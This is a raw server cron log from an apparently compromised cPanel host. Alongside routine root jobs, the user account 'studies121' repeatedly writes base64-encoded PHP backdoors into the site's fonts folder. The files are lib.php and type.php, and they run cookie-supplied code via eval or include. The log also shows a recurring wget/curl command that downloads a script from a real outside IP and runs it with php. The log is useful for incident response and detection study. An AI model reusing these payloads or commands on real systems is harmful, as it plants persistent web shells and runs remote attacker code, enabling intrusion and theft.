Feb 22 23:58:01 ip-184-168-122-23 CROND[23733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:59:01 ip-184-168-122-23 CROND[24065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:59:01 ip-184-168-122-23 CROND[24068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:59:01 ip-184-168-122-23 CROND[24070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:59:01 ip-184-168-122-23 CROND[24071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:00:01 ip-184-168-122-23 CROND[24378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 00:00:01 ip-184-168-122-23 CROND[24380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:00:01 ip-184-168-122-23 CROND[24383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:00:01 ip-184-168-122-23 CROND[24386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:00:01 ip-184-168-122-23 CROND[24385]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Feb 23 00:00:01 ip-184-168-122-23 CROND[24384]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 00:00:01 ip-184-168-122-23 CROND[24387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:00:01 ip-184-168-122-23 CROND[24390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:00:01 ip-184-168-122-23 CROND[24389]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 00:01:01 ip-184-168-122-23 CROND[24741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:01:01 ip-184-168-122-23 CROND[24743]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 23 00:01:01 ip-184-168-122-23 CROND[24745]: (root) CMD (run-parts /etc/cron.hourly)
Feb 23 00:01:01 ip-184-168-122-23 CROND[24748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:01:01 ip-184-168-122-23 CROND[24747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:01:01 ip-184-168-122-23 CROND[24749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24745]: starting 0anacron
Feb 23 00:01:01 ip-184-168-122-23 anacron[24765]: Anacron started on 2026-02-23
Feb 23 00:01:01 ip-184-168-122-23 anacron[24765]: Normal exit (0 jobs run)
Feb 23 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24767]: finished 0anacron
Feb 23 00:02:01 ip-184-168-122-23 CROND[25158]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:02:01 ip-184-168-122-23 CROND[25160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:02:01 ip-184-168-122-23 CROND[25163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:02:01 ip-184-168-122-23 CROND[25164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:02:01 ip-184-168-122-23 CROND[25162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:03:01 ip-184-168-122-23 CROND[25481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:03:01 ip-184-168-122-23 CROND[25483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:03:01 ip-184-168-122-23 CROND[25485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:03:01 ip-184-168-122-23 CROND[25484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:04:01 ip-184-168-122-23 CROND[25802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:04:01 ip-184-168-122-23 CROND[25805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:04:01 ip-184-168-122-23 CROND[25806]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:04:01 ip-184-168-122-23 CROND[25804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:04:01 ip-184-168-122-23 CROND[25807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:05:01 ip-184-168-122-23 CROND[26143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:05:01 ip-184-168-122-23 CROND[26144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:05:01 ip-184-168-122-23 CROND[26145]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 23 00:05:01 ip-184-168-122-23 CROND[26147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:05:01 ip-184-168-122-23 CROND[26148]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 00:05:01 ip-184-168-122-23 CROND[26154]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 00:05:01 ip-184-168-122-23 CROND[26153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:06:01 ip-184-168-122-23 CROND[26485]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:06:01 ip-184-168-122-23 CROND[26486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:06:01 ip-184-168-122-23 CROND[26487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:06:01 ip-184-168-122-23 CROND[26484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:06:01 ip-184-168-122-23 CROND[26488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:07:01 ip-184-168-122-23 CROND[26891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:07:01 ip-184-168-122-23 CROND[26892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:07:01 ip-184-168-122-23 CROND[26893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:07:01 ip-184-168-122-23 CROND[26896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:08:01 ip-184-168-122-23 CROND[27204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:08:01 ip-184-168-122-23 CROND[27205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:08:01 ip-184-168-122-23 CROND[27206]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 00:08:01 ip-184-168-122-23 CROND[27208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:08:01 ip-184-168-122-23 CROND[27210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:09:01 ip-184-168-122-23 CROND[27513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:09:01 ip-184-168-122-23 CROND[27517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 00:09:01 ip-184-168-122-23 CROND[27518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 00:09:01 ip-184-168-122-23 CROND[27520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 00:09:01 ip-184-168-122-23 CROND[27521]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 23 00:10:01 ip-184-168-122-23 CROND[27846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 00:10:01 ip-184-168-122-23 CROND[27848]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 00:10:01 ip-184-168-122-23 CROND[27849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 00:10:01 ip-184-168-122-23 CROND[27852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
